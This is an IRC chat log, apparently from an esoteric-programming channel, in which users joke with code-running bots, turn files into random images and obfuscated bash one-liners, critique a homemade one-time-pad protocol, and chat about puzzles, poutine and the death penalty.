14:29:32 <hppavilion[1]> (if 1000 people each buy 100 pieces for a 100 piece puzzle and trade their extras to those who need it, there will be many more completed puzzles than if each acts independently)
14:29:35 <b_jonas> but there are much better ways to do this
14:29:51 <b_jonas> you can just make some of your pieces more likely than others
14:30:44 <b_jonas> oh, and have a shitton of tiny letter legal disclaimer text on the packs, saying (if anyone can dig throuhg the language) that you don't guarantee uniform distribution
14:30:47 <hppavilion[1]> b_jonas: Well I get that, but you said "and the individual pieces you buy are independent"
14:31:10 <b_jonas> hppavilion[1]: yes. if you only get West Coast pieces because you live on the West Coast, then they're not independent
14:31:37 <hppavilion[1]> b_jonas: Ah, that makes sense
14:31:53 <hppavilion[1]> So have the ultra-rare piece that has a bit of gold on the edge?
14:31:58 <b_jonas> you get West Coast pieces, which never include that particular blue one with no identifying features in the sky, and East Coast citizens never get that brown piece from the ground
14:33:58 <b_jonas> hppavilion[1]: no no! you can have shiny (foil) premium cards, but they shouldn't be just the rares. make every tenth pack have a premium card, and make sure people notice that any piece can be premium, so sooner or later someone will want to collect an all-premium puzzle and trade premiums more expensively than other pieces. but that's orthogonal to ordinary rarity.
14:34:45 <b_jonas> anyway, http://russell2.math.bme.hu/~ambrus/sc/info1/info1-gyx-spoiled.html contains a simulation of a similar (but not identical) problem
14:35:23 <b_jonas> and people have certainly simulated this sort of stuff ages ago, since back on early computers, with their punched cards and core memory and very flawed random generator routines.
14:35:29 <b_jonas> so you can screw your patent.
14:59:15 -!- `^_^v has joined.
15:36:12 -!- Kaynato has joined.
15:38:46 <hppavilion[1]> Hm... it's said that a polytime solution to an NP-C problem collapses all of NP into P- that is, the discovery of a polytime solution to an NP-C problem proves P=NP
15:39:29 <hppavilion[1]> But I've never actually seen anything concrete about this- granted, I haven't seen the proof either (though reading the formal definition of NP-C gives a pretty clear idea of the proof)
15:43:37 -!- LKoen has quit (Remote host closed the connection).
15:45:31 <hppavilion[1]> But I'd like to see a Python program (or other easy-to-read code- even pseudocode) that assumes a builtin function that solves the TSP (decision version, of course) and solves Sudoku puzzles on n^2*n^2 boards of n*n blocks
15:50:01 -!- LKoen has joined.
15:57:08 <b_jonas> Git question. Does the reflog store the dates of the resets (as opposed to the dates of creating the commits)? If so, how do I display them?
16:01:58 -!- Phantom_Hoover has quit (Remote host closed the connection).
16:06:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
16:26:09 <izabera> how do i generate interesting random pictures?
16:26:50 <izabera> i tried to produce a valid netpbm by printing a header and then dumping it from /dev/urandom and i can't distinguish two different pictures
16:35:42 -!- ^v has quit (Ping timeout: 250 seconds).
16:36:27 -!- ^v has joined.
16:37:11 <zzo38> Try some of my farbfeld programs and see if any of those help?
16:37:37 <izabera> where are they?
16:38:03 <zzo38> http://zzo38computer.org/fossil/farbfeld.ui/
16:38:08 <izabera> thanks
16:38:10 <FireFly> Just random RGB will probably only end up looking grey
16:38:28 <FireFly> What kind of random images are you thinking of?
16:46:14 <zzo38> Yes, what kind of random images do you want anyways?
16:46:44 <izabera> not sure
16:48:36 -!- gniourf has joined.
17:00:59 <zzo38> This is one example that can make random pictures: bitff 100 100 h 000000 111111 222222 333333 444444 555555 666666 777777 888888 999999 AAAAAA BBBBBB CCCCCC DDDDDD EEEEEE FFFFFF < /dev/urandom | ff-enlarge | ff-bright rgb 0 .15 2 | ff-paeth d | ff-convolve 9 0 1 1 1 1 1 1 1 1 1 | ff-bright a 1
17:17:08 -!- LKoen has quit (Remote host closed the connection).
17:17:31 <izabera> btw i really like your idea to make them valid shell scripts that compile themselves
17:50:45 -!- hppavilion[1] has joined.
17:54:55 -!- bb010g has joined.
17:59:47 <hppavilion[1]> Human Microphone seems susceptible to telelphoning
18:00:16 <hppavilion[1]> Occupy Bath is likely the most absurd movement
18:01:34 <int-e> hppavilion[1]: re: Einstein.... now if you were to bring Einstein back to life "now" (murky concept, hmm) one million light years away...
18:01:56 <hppavilion[1]> int-e: Your point?
18:02:12 <hppavilion[1]> int-e: I think I missed the beginning of this
18:02:13 <int-e> that *would* violate causality.
18:02:20 <hppavilion[1]> Well yeah
18:02:26 <hppavilion[1]> But I'm assuming we bring him back on earth
18:02:32 <int-e> hppavilion[1]: you said something 9 hours ago
18:02:38 <hppavilion[1]> int-e: Yes, I remember that
18:02:53 <hppavilion[1]> int-e: But that sounded like you had already said something about this that I missed
18:03:06 -!- augur has joined.
18:03:06 <hppavilion[1]> Which is, afaik, less than 1000000 ly across
18:03:21 <int-e> I had not... I was at work
18:05:37 <hppavilion[1]> millipede, micropede, nanopede...
18:07:17 <shachaf> `olist 1042
18:08:17 <HackEgo> olist 1042: shachaf oerjan Sgeo FireFly boily nortti b_jonas
18:08:38 <FireFly> o
18:09:05 <hppavilion[1]> `? olist
18:09:21 <HackEgo> olist is update notification for the webcomic Order of the Stick. http://www.giantitp.com/comics/ootslatest.html
18:09:25 <FireFly> ooo
18:10:27 <shachaf> Also there's a new 13-page PDF apparently.
18:12:24 -!- augur has quit (Ping timeout: 244 seconds).
18:15:29 -!- augur has joined.
18:19:33 <hppavilion[1]> The true mark of the success of your rogue nation of religious fanatics is when Wikipedia's "Capital Punishment" infobox includes you execution method of choice as a "Modern" method
18:19:54 -!- AnotherTest has joined.
18:23:28 <hppavilion[1]> The United States: Literally the only world superpower to still have the death penalty in effecct
18:26:54 -!- AnotherTest has quit (Ping timeout: 260 seconds).
18:32:46 <hppavilion[1]> Hm, could an actually-humane death penalty be enacted by reverting to a gas chamber (let's pretend that that's not horrifying) and replacing the oxygen with CO2? Because the body can't detect lack of oxygen (according to The Martian- the most scholarly document of the millennium), so the person wouldn't really notice. We can even make it a nice room with a bookshelf (stocked, of course, with The Martian, the Holy Bible, the Qu'ran, the
18:32:46 <hppavilion[1]> Book of Mormon, the full works of Shakespeare, the important Einstein papers, A Brief History of Time, and any other relatively-easy-to-obtain books the condemned requests), a cozy armchair, nice yellow light, and perhaps a pipe
18:33:43 <hppavilion[1]> The condemned is likely given several hours to make peace before the final process is initiated- they get to finally initiate it (they hit the button), but if they wait too long it starts automatically
18:33:56 <hppavilion[1]> Or, y'know, we could just not execute people
18:34:07 <hppavilion[1]> But if we have to, this is how we should do it
18:34:33 <hppavilion[1]> Executing prisoners should be done by the same standards that we perform euthanasia on the terminally ill
18:40:45 <zzo38> Death penalty is a mistake. Sometimes you will make a mistake in figuring out who is guilty, and then you cannot fix it because they are already dead. Nevertheless the prisoner should be allow to suicide by themself
18:40:58 <hppavilion[1]> zzo38: Yeah, that's what I basically think
18:42:17 <hppavilion[1]> zzo38: The death penalty should be a voluntary thing- in certain sentences (specifically NOT including short sentences, because slightly unstable people will threaten to demand euthanasia if convicted which may result in a hung jury), the prisoner should be allowed to just end it instead
18:42:47 <hppavilion[1]> Because if I were to be in supermax for the rest of my life- solitary 23 hours a day, fed alone- I'd probably just go for death
18:43:55 <zzo38> Yes, that can be a reasonable idea.
18:44:41 <zzo38> Save energy too, by being dead; the dead need not to eat.
18:45:28 <zzo38> But, the people in the prison should be allowed to write too. Everyone must be allowed to write
18:46:38 <hppavilion[1]> zzo38: Yeah, of course
18:46:52 <hppavilion[1]> zzo38: And probably some rather limited internet of some sort
18:47:03 <hppavilion[1]> zzo38: And reasonable pricing on phone calls
18:59:25 -!- AnotherTest has joined.
19:04:47 <myname> in df, vampires also don't have to eat
19:05:51 -!- AnotherTest has quit (Ping timeout: 246 seconds).
19:10:40 -!- augur has quit (Remote host closed the connection).
19:11:06 <hppavilion[1]> When you start installing an application from a verified publisher and your antivirus immediately goes off
19:17:44 -!- ^v has quit (Remote host closed the connection).
19:18:14 -!- ^v has joined.
19:20:36 <shachaf> `wisdom
19:20:53 <HackEgo> freefull//FreeFull is either full of freedom or free of fulldom, we are not sure.
19:21:49 <FreeFull> Hi
19:22:14 <FreeFull> hppavilion[1]: The body can detect CO2 very well
19:22:25 <hppavilion[1]> FreeFull: Maybe it's something else?
19:22:30 <FreeFull> hppavilion[1]: Nitrogen would work well
19:29:53 <shachaf> `wisdom
19:29:57 <HackEgo> treant//Treants are genericized ents for intellectual property reasons.
19:33:24 <shachaf> `wisdom
19:33:27 <HackEgo> soap//Soap is the main ingredient for the iridescent visions that internet startups sell to investors.
19:44:30 -!- Elronnd has quit (Quit: Let's jump!).
19:46:31 -!- Elronnd has joined.
19:55:10 <shachaf> @tell boily I ate poutine yesterday.
19:55:10 <lambdabot> Consider it noted.
20:02:47 -!- nycs has joined.
20:03:57 -!- `^_^v has quit (Ping timeout: 246 seconds).
20:09:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
20:12:40 -!- augur has joined.
20:53:54 -!- wob_jonas has joined.
20:55:16 <fizzie> shachaf: Did you pout afterwards?
20:55:56 <shachaf> fizzie: A bit.
20:56:08 <shachaf> I was poutine my proper place, that's for sure.
20:57:40 <wob_jonas> great, there was a new o while I was away
20:57:40 <wob_jonas> #1042
20:59:51 <shachaf> wob_jonas: There's also an 8-page PDF
21:12:12 <izabera> idea: take a script
21:12:15 <izabera> or a file
21:12:18 <izabera> any file
21:12:24 <izabera> round its size to a multiple of 3
21:12:37 <izabera> find x and y such that x * y * 3 == filesize
21:12:54 <izabera> then run cat - file <<< "P6 $x $y 255" > out.pbm
21:13:01 <izabera> so you can see what your code looks like in pictures
21:13:09 <izabera> or what your file looks like in pictures
21:13:18 <izabera> or what your jpg picture looks like in pictures
21:14:44 <myname> go for it
21:14:59 <izabera> is there a way to get a picture out of HackEgo ?
21:17:25 <wob_jonas> izabera: yes, there's a command that lets you fetch a file from HackEgo's file system through HTTP, and you can view the pic locally that way
21:17:35 <izabera> what is it?
21:18:02 <izabera> paste?
21:18:03 <wob_jonas> I dunno
21:18:07 <izabera> ok
21:18:37 <shachaf> You might as well do the whole thing locally.
21:18:52 <izabera> i just found out that multiplying numbers together makes them very large very quickly
21:20:39 <izabera> this wouldn't be a problem but pixels are small
21:21:13 <myname> so?
21:21:33 <izabera> so if i do this with a script i need a lot of code to make something visible
21:21:41 <myname> the question is: how do you choose x and y?
21:21:51 <myname> you may stretch
21:22:30 <myname> like, if you have 1000000 bytes, do you make 2^6 * 5^6?
21:23:29 <izabera> i'll just pick the closest divisor to sqrt
21:30:17 <myname> nice
21:30:43 <myname> i thought about wether or not picking lowest and highest prime factors together will result in a good ration
21:30:47 <myname> -n
21:31:32 <myname> like, if you have 2,3,5,7,11,13,17 you will make 2*17*5*11 and 3*13*7
21:31:47 -!- nycs has quit (Quit: This computer has gone to sleep).
21:32:49 -!- `^_^v has joined.
21:33:15 -!- augur has quit (Read error: Connection reset by peer).
21:33:35 -!- jaboja has joined.
21:35:30 -!- AnotherTest has joined.
21:36:07 -!- augur has joined.
21:38:22 -!- augur has quit (Read error: Connection reset by peer).
21:40:29 -!- augur has joined.
21:45:34 <izabera> pictures are pretty dull though, this is my /bin/bash http://i.imgur.com/mJxsB7J.png
21:52:47 <izabera> sorta like paplay --raw /bin/bash i guess
22:04:22 -!- augur has quit (Read error: Connection reset by peer).
22:04:31 -!- augur has joined.
22:07:00 -!- hppavilion[1] has joined.
22:10:31 -!- AnotherTest has quit (Ping timeout: 252 seconds).
22:16:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
22:21:15 -!- moon_ has joined.
22:24:59 <wob_jonas> I think I'll have to invest a point to modern times history. I'm sometimes getting fed up with the lots of stupid people here in the town, especially about how they keep blocking your way in mass transport vehicle doors (they want to get on FIRST, before other people, they don't care if people can't get off) or underpass corridors.
22:26:01 <moon_> Just program everyone tp want to get in first. Boom. Worldwide traffic jam
22:26:18 <wob_jonas> I should relieve some stress by hurling choice insults on them, but I want to make the insults politically correct, in the sense that it shouldn't accidentally seem like I'm insulting their appearance or origins. Sadly that can gets a bit tricky when it comes to public transport, which is why I'll need to learn some history.
22:30:06 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:30:38 <wob_jonas> I wonder if there's a specific good guidebook for this.
22:30:57 -!- `^_^v has joined.
22:31:00 <wob_jonas> I know very little about history, I don't even know what books are worth to look at.
22:47:56 <shachaf> woe be jonas
22:54:01 <wob_jonas> ah I see! they use row vectors
22:56:50 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
23:05:13 -!- Sgeo_ has joined.
23:16:11 -!- boily has joined.
23:16:56 <boily> @massages-loud
23:16:56 <lambdabot> shachaf said 3h 21m 46s ago: I ate poutine yesterday.
23:17:05 <boily> hellochaf! how was it?
23:17:13 <shachaf> not very good hth
23:17:32 <shachaf> smoke's poutinerie, more like scow's poutinerie
23:21:12 <boily> you should try poutine with duck meat and green peas hth
23:24:43 -!- augur has quit (Read error: Connection reset by peer).
23:26:32 -!- oerjan has joined.
23:27:50 <fizzie> boily: Duck meats, green peas and boiled fleas.
23:33:00 <boily> I don't think that boiled fleas are edible hth
23:33:09 <boily> hellørjan. do you eat boiled fleas?
23:35:47 <oerjan> moily. only crushed and hidden in flour hth
23:36:24 <shachaf> boily: i don't eat ducks
23:36:26 <shachaf> or meat
23:36:57 <oerjan> fortunately green peas alone are a good protein source. i think.
23:36:58 -!- augur has joined.
23:37:14 <izabera> i wanna show you something
23:37:20 <izabera> can you guess what this is? ls *mp3 | grep -v -- -rihanna | cut -d- 3-5 > out
23:38:13 <boily> oerjan: moily?
23:38:22 <izabera> it's a bash command that's also valid in (( ))
23:38:29 <izabera> be amazed
23:38:52 <oerjan> boily: i was surprised too.
23:39:10 <boily> shachaf: you should then try egg curry poutine.
23:39:17 <shachaf> boily: how do you like smoke's poutinerie?
23:39:23 <shachaf> rainbows are tg
23:40:04 <boily> not tried yet. when I'll West Coast I'll smoke's.
23:40:18 <boily> `? tg
23:40:28 <HackEgo> TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not.
23:40:55 <shachaf> But they have east coast locations.
23:41:10 <shachaf> In fact the majority of them are.
23:42:20 <oerjan> `? poutine
23:42:24 <HackEgo> Poutine was Pouti and boily's sister until the tragic cheese accident.
23:42:34 * boily google the smoke
23:42:37 <oerjan> i'd forgotten that one
23:43:21 <oerjan> i think that's one of my better ones.
23:44:32 <boily> the nearest and reachablest smoke's are in Ottawa.
23:48:31 -!- augur has quit (Read error: Connection reset by peer).
23:49:11 -!- augur has joined.
23:50:14 -!- augur has quit (Read error: Connection reset by peer).
23:50:15 <izabera> `` v=5; while (( ls *mp3 | grep -v -- -rihanna | cut -d- 3-5 > out )); do echo -n "$v "; done
23:50:18 <HackEgo> 4 3 2 1 0
23:50:40 -!- augur has joined.
23:50:41 <izabera> how cool is this?!
23:51:11 <izabera> it's my obfuscation technique
23:51:11 -!- augur has quit (Read error: Connection reset by peer).
23:51:51 -!- augur has joined.
23:55:00 -!- augur has quit (Read error: Connection reset by peer).
23:55:14 -!- augur has joined.
23:56:51 <boily> izabellora. there's a negative rihanna in there. it's conspicuously egregiously salient hth.
23:57:20 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:58:46 -!- augur has quit (Read error: Connection reset by peer).
2016-06-30
00:00:12 <izabera> could also add stuff like sed /x/d
00:00:24 -!- augur has joined.
00:00:49 <izabera> but then x and d can't be 0
00:02:05 <FireFly> `` ls *mp3
00:02:08 <HackEgo> ls: cannot access *mp3: No such file or directory
00:07:54 -!- jaboja has quit (Remote host closed the connection).
00:13:59 -!- spiette has quit (Ping timeout: 260 seconds).
00:21:56 -!- MoALTz has quit (Ping timeout: 272 seconds).
00:24:12 -!- FreeFull has quit (Ping timeout: 276 seconds).
00:35:02 <boily> `` find -iname '*.mp3' -type f
00:35:22 <HackEgo> ​./share/Complaints.mp3
00:35:39 <boily> `` file -krs share/Complaints.mp3
00:35:43 <HackEgo> share/Complaints.mp3: ASCII text
00:36:36 <oerjan> `` ls bin/*comp*
00:36:38 <HackEgo> bin/complain \ bin/complaints
00:36:42 <boily> Yesterday upon the stair, I heard an MP3 that wasn't there.
00:37:33 <oerjan> a, ic
00:39:59 <boily> an MP3 is not meant to be seen, only heard.
00:40:21 <boily> (unless you're Aphex Twin and your face is in there.)
00:40:22 <oerjan> `quote obscure
00:40:24 <HackEgo> 789) <Phantom__Hoover> the scene: it is a warm summer's day in scotland, although one obscured by cloud and the fact that it is september \ 1243) <ais523> (on another note, I love the way that the standard way to indicate that you get a reference is to make a different obscure reference to the same thing)
00:42:26 <boily> my references aren't *that* obscure...
00:42:37 <boily> most of the time, at least. or approximatively so.
00:42:59 <oerjan> OKAY
00:43:04 <shachaf> `complaints
00:43:06 <HackEgo> 16 share/Complaints.mp3
00:43:20 <FireFly> `camera obscure
00:43:21 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: camera: not found
00:43:42 <shachaf> `url share/Complaints.mp3
00:44:00 <shachaf> `help
00:44:02 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:44:04 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/Complaints.mp3
00:45:15 <shachaf> `complain I haven't been around kittens for a long time.
00:45:20 <HackEgo> Complaint filed. Thank you.
00:45:59 <shachaf> `complain The complaints file is too long to view in-channel.
00:46:02 <HackEgo> Complaint filed. Thank you.
00:46:19 <FireFly> `shuf share/Complaints.mp3
00:46:20 <shachaf> `complain Complaints don't get removed after they're addressed.
00:46:20 <HackEgo> now the former complaints make no sense because the complaints file was moved \ The complaints above are not using periods properly. \ Also, Gregor is never here to fix his bots. \ The floors are cold. \ I haven't been around kittens for a long time. \ Newbies get confused by everything HackEgo. \ Some people don't use the right command for filing
00:46:23 <HackEgo> Complaint filed. Thank you.
00:46:36 <shachaf> HireFly
00:46:57 <FireFly> shalomchaf
00:46:59 <shachaf> what are you hired for
00:50:11 <shachaf> `complain I'd like to make the complaints file longer, but I can't think of any good complaints.
00:50:15 <HackEgo> Complaint filed. Thank you.
00:50:45 <shachaf> `complain I often have trouble getting to sleep.
00:50:48 <HackEgo> Complaint filed. Thank you.
00:55:20 <izabera> `` complain "$(( tr -dc a-z < /dev/urandom | head -c 10000 ))"
00:55:22 <HackEgo> ​/hackenv/bin/`: line 4: tr -dc a-z < /dev/urandom | head -c 10000 : syntax error in expression (error token is "a-z < /dev/urandom | head -c 10000 ")
00:55:29 <izabera> ooops
00:55:32 <izabera> `` complain "$( tr -dc a-z < /dev/urandom | head -c 10000 )"
00:55:36 <HackEgo> Complaint filed. Thank you.
00:56:47 <shachaf> `revert
00:56:50 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
00:57:08 <shachaf> You're being a bit of a jerk there.
00:57:14 <shachaf> I've half a mind to complain about it.
00:59:04 <oerjan> it's just the annoyingness singularity.
00:59:35 <oerjan> the annoyingness of the world is growing superexponentially.
00:59:43 <oerjan> `? superexponential growth
00:59:55 <HackEgo> Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!!
01:01:46 <shachaf> `culprits wisdom/superexponential growth
01:01:57 <HackEgo> tswett
01:23:14 -!- Etaoin has joined.
01:23:17 <Etaoin> it is me
01:24:00 <izabera> mario
01:25:31 <Etaoin> :D
01:35:17 <boily> Hellaoin!
01:35:31 <Etaoin> helloily!
01:36:27 <boily> `` complain My lungs aren't as efficient as they should be.
01:36:29 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
01:36:40 * boily mapoles the apostrophe out of HackEgo
01:36:48 <boily> `` complain My lungs aren’t as efficient as they should be.
01:36:52 <HackEgo> Complaint filed. Thank you.
01:36:59 <izabera> just use ` instead of ``<space>
01:39:10 <boily> muscle memory.
01:39:16 <shachaf> `` tail -n1 share/Complaints.mp3
01:39:18 <HackEgo> My lungs aren’t as efficient as they should be.
01:39:29 <izabera> just get better muscles
01:39:30 <shachaf> `` tac share/Complaints.mp3
01:39:31 <HackEgo> My lungs aren’t as efficient as they should be. \ I often have trouble getting to sleep. \ I'd like to make the complaints file longer, but I can't think of any good complaints. \ Complaints don't get removed after they're addressed. \ The complaints file is too long to view in-channel. \ I haven't been around kittens for a long time. \ The "comp
01:40:15 <boily> right thumb right annular left thumb right thumb right annular left thumb left thumb
01:42:17 <boily> izabera: I like my nimble and dexterous fingers the way they are.
01:50:48 <zzo38> I thought to invent "one time pad protocol". The server sends a four-byte initialization vector to the client, the client combines the key, initialization vector, and timestamp, and ARCFOUR encodes a service ID, input pad offset, output pad offset, and service parameter, and send that to server.
01:51:47 <zzo38> The server now verifies that it is OK; if so, it begins one-time-pad encoding and sends to the client the service ID and timestamp (one-time-pad encrypted), and accepts data from client. If incorrect, the server sends random data to the client and ignores data it receives.
01:53:10 <izabera> why send random data?
01:54:01 <zzo38> The verification will fail if it is not a supported service ID, if the offsets have expired, or if the offsets specified discard too much of the pad. Also there is a secret synchronization size; after that many bytes are send by either side, the next byte is a synchronization byte which is the one-time-pad encrypted counter that goes from 0 to 255 and wraps around.
01:54:24 -!- Etaoin has quit (Quit: Page closed).
01:54:47 <pikhq> So it's impossible to distinguish a correct request from an incorrect one, presumably.
01:56:02 <izabera> but it is possible, e.g. if you're expecting to receive a certain reply when you send something and don't receive you know it failed
01:57:56 <pikhq> Yeah. I might be missing something, but I *think* zzo38's proposal has some serious faults.
01:58:06 <pikhq> For instance, is the data from the client plaintext?
01:58:10 <zzo38> If it is wrong then please tell me I can fix it
01:58:28 <zzo38> pikhq: No, it is encrypted with the one time pad (a separate pad is used for each direction).
01:58:45 <pikhq> *Oh*. That changes things somewhat.
01:58:58 <pikhq> I would not use ARCFOUR for it.
02:00:51 <zzo38> That is only for the initialization anyways, and is not used for application data. The ARCFOUR key is independent of any of the other parameters and the pad data.
02:01:02 <pikhq> I suspect there might be some other faults (courtesy of having not thought about it *that* much), but the use of ARCFOUR instead of a secure stream cipher is a big one.
02:01:38 <pikhq> Yes, but ARCFOUR is a completely insecure cipher at present, and shouldn't be used for any purpose.
02:02:02 <zzo38> The amount of initialization data is small so it probably does not matter, but a better one could be used as long as it is not too complicated, which would improve it.
02:02:50 <zzo38> (The size of the initialization data is fixed, so if it is replaced with a different cipher, it need not necessarily be a stream cipher; a block cipher could work too.)
02:02:58 -!- lambda-11235 has joined.
02:03:22 <pikhq> Chacha20 is not very complicated, and seems to be secure.
02:03:51 <shachaf> Should I prefer it to Salsa20?
02:03:52 <pikhq> (the latter is the current opinion of cryptographers, the former is my opinion, having implemented it before)
02:04:39 <pikhq> I *think* it's preferable due to getting better diffusion per round, but I don't really know for sure.
02:05:28 <pikhq> The main thing that Chacha20 has going for it that Salsa20 doesn't is that Chacha20 is seeing much more use.
02:09:43 <zzo38> OK then ChaCha20 could be used.
02:10:12 <pikhq> Presumably users of this wouldn't allow pad reuse?
02:10:21 <pikhq> Because... pad reuse breaks security.
02:10:59 <zzo38> Yes, as I said the verification fails if the pad is reused.
02:14:57 <shachaf> pikhq: not to mention hygiene
02:18:50 * boily mapoles shachaf. 0.3 shachafs.
02:19:21 <shachaf> 0.3?
02:20:58 <boily> 0.3. and that's only because I grant.
02:21:07 <boily> (what's the past tense of “to grunt”?)
02:21:39 <coppro> grunted
02:21:49 <shachaf> Apparently they do make reusable pads, though.
02:22:07 <shachaf> I'm not sure that there's any application in cryptography.
02:22:48 <pikhq> I think those are called stream ciphers in cryptography.
02:23:21 <shachaf> I hope you don't reuse your keystream.
02:23:32 <coppro> I need a tshirt that says
02:23:39 <coppro> there are 1 types of people
02:23:41 <shachaf> i,i don't cross the keystreams
02:24:10 <zzo38> What else I did not mention is that the clock skew and clock granularity parameters are also secret parameters. (Also, the size of the initialization vector may be altered.)
02:25:33 -!- boily_ has joined.
02:26:12 * boily_ *mumble* *grumble* fungotting router *grml*
02:26:13 <fungot> boily_: mr president, i abstained from the vote on friday. even before the summer holidays, and due to a lack of clarity in terms of citizens by guaranteeing that: ' in view of all the parties involved, including david trimble, and not the reverse.
02:26:29 -!- boily has quit (Ping timeout: 244 seconds).
02:26:33 -!- boily_ has changed nick to boily.
02:33:41 -!- Cale has quit (Ping timeout: 250 seconds).
02:39:34 -!- boily has quit (Quit: LUBRICANT CHICKEN).
02:46:37 -!- Cale has joined.
03:03:55 <zzo38> Is there any software for a mobile device to display a barcode given typed in input, that can then be scanned with another scanner?
03:04:32 -!- clog has quit (Ping timeout: 260 seconds).
03:19:44 <quintopia> yes i think so
03:20:01 <quintopia> maybe not barcode, but probably QR code
03:21:54 -!- augur has quit (Remote host closed the connection).
03:34:31 <zzo38> I would want for all types of barcodes though
03:35:10 <shachaf> zzo38: No, you only care about QR codes.
03:36:10 -!- clog has joined.
03:37:11 <zzo38> No, I would need for all types, mainly for those that are not QR codes, such as UPC and so on
04:20:52 -!- augur has joined.
04:57:27 -!- hppavilion[1] has joined.
05:02:31 -!- Kaynato has quit (Ping timeout: 240 seconds).
05:12:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
05:15:27 <izabera> what's a fast way to write a large array with a value that takes 3 bytes?
05:15:47 <izabera> i mean my value is 'a' 'b' 'c' and i want my array to look like abcabcabcabcabc...
05:22:20 -!- adu has joined.
05:39:15 <lifthrasiir> izabera: have unrolled copies of abcabc..., bcabca..., cabcab... and mass-copy them in the order
06:17:37 <zzo38> It has been said that "having a 'canary' you remove or choose not to update would likely have the same legal consequences as simply posting something that explicitly says you've received something." Can it be designed so that it is updatable and that you cannot update it if the government tries to get the data? There are a few other ideas too, including a way of encrypting the data such that you do not know the keys, etc
06:21:51 <zzo38> Or somehow use a forwarding service or video camera or something to enforce that letters they receive are known to public
06:37:35 -!- hppavilion[1] has joined.
06:38:26 -!- adu has quit (Quit: adu).
06:59:46 -!- asie has left ("WeeChat 1.5").
07:29:38 -!- PinealGlandOptic has joined.
07:32:46 -!- lambda-11235 has quit (Quit: Bye).
07:53:33 <hppavilion[1]> A chuck norris fact is that he can solve a rubik's cube with no hands
07:53:41 <hppavilion[1]> Lame, IMHO; many people can do that
08:19:49 -!- bb010g has quit (Quit: Connection closed for inactivity).
08:25:45 <hppavilion[1]> I think I've listened to صليل الصوارم too many times
08:25:55 <hppavilion[1]> Now I'm going to start humming it in inappropriate circumstances
08:27:23 <hppavilion[1]> "Anatomically modern human remains of uncertain date, 90-190,000 years old."
08:33:22 -!- oerjan has quit (Quit: Nite).
08:35:43 <hppavilion[1]> Why is it tyrants always have the best anthems?
09:00:04 <b_jonas> `? hypergeom
09:00:18 <b_jonas> `? hypergeometric
09:00:58 <HackEgo> hypergeometric? ¯\(°​_o)/¯
09:00:58 <HackEgo> hypergeom? ¯\(°​_o)/¯
09:08:40 <hppavilion[1]> OK, https://www.youtube.com/watch?v=9RbLLYCiyGE is impressive
09:11:32 -!- augur has quit (Remote host closed the connection).
09:45:49 <hppavilion[1]> Apparently, O'Reilly has "Mastering CAT"
09:52:04 <izabera> i wrote a thingy that generates these https://i.imgur.com/uLdaHaF.png
09:52:32 <Taneb> izabera, pretty!
09:59:37 -!- devhydraz has joined.
09:59:38 -!- devhydraz has quit (Changing host).
09:59:38 -!- devhydraz has joined.
10:03:59 -!- ybden- has joined.
10:06:09 -!- quintopi1 has joined.
10:06:20 -!- paul2520_ has joined.
10:07:10 -!- jix_ has joined.
10:08:16 -!- ybden has quit (*.net *.split).
10:08:16 -!- quintopia has quit (*.net *.split).
10:08:16 -!- jix has quit (*.net *.split).
10:08:16 -!- paul2520 has quit (*.net *.split).
10:08:16 -!- hydraz has quit (*.net *.split).
11:12:40 -!- augur has joined.
11:16:34 -!- MoALTz has joined.
11:17:27 -!- augur has quit (Ping timeout: 260 seconds).
11:29:05 -!- iaglium has joined.
11:33:46 -!- boily has joined.
11:42:10 <boily> @massages-loud
11:42:10 <lambdabot> You don't have any messages
11:44:01 -!- cnr has quit (Ping timeout: 250 seconds).
11:48:01 -!- cnr has joined.
11:48:01 -!- cnr has quit (Changing host).
11:48:01 -!- cnr has joined.
12:14:00 -!- FreeFull has joined.
12:20:12 -!- boily has quit (Quit: PERSONAL CHICKEN).
12:32:38 <hppavilion[1]> Apparently, at 25,000 signatures on a petition the White House has to release an official response
12:32:50 <hppavilion[1]> How can we abuse this knowledge?
13:04:06 -!- Elronnd has quit (Quit: Let's jump!).
13:04:18 -!- Elronnd has joined.
13:11:49 <hppavilion[1]> Wikileaks: The truth is over there
13:12:20 -!- devhydraz has changed nick to hydraz.
13:13:45 -!- augur has joined.
13:18:03 -!- augur has quit (Ping timeout: 240 seconds).
13:46:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
14:04:03 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
14:13:57 -!- ^v has quit (Ping timeout: 250 seconds).
14:15:47 -!- ^v has joined.
14:20:01 -!- spiette has joined.
14:38:15 -!- Kaynato has joined.
14:48:39 -!- `^_^v has joined.
14:58:42 -!- ybden- has changed nick to ybden.
15:05:07 -!- adu has joined.
15:14:43 -!- augur has joined.
15:16:35 -!- Human_61 has joined.
15:19:01 -!- augur has quit (Ping timeout: 252 seconds).
15:23:16 -!- Human_61 has quit (Ping timeout: 250 seconds).
15:33:18 -!- adu has quit (Quit: adu).
15:36:53 -!- Human_61 has joined.
15:41:54 -!- Human_61 has quit (Ping timeout: 250 seconds).
15:50:19 <ybden> izabera: ooh
16:22:03 -!- bender has joined.
16:25:24 -!- bender has quit (Client Quit).
16:30:29 -!- bauen1 has quit (Ping timeout: 260 seconds).
16:31:37 -!- bauen1 has joined.
16:31:58 -!- bauen1 has quit (Client Quit).
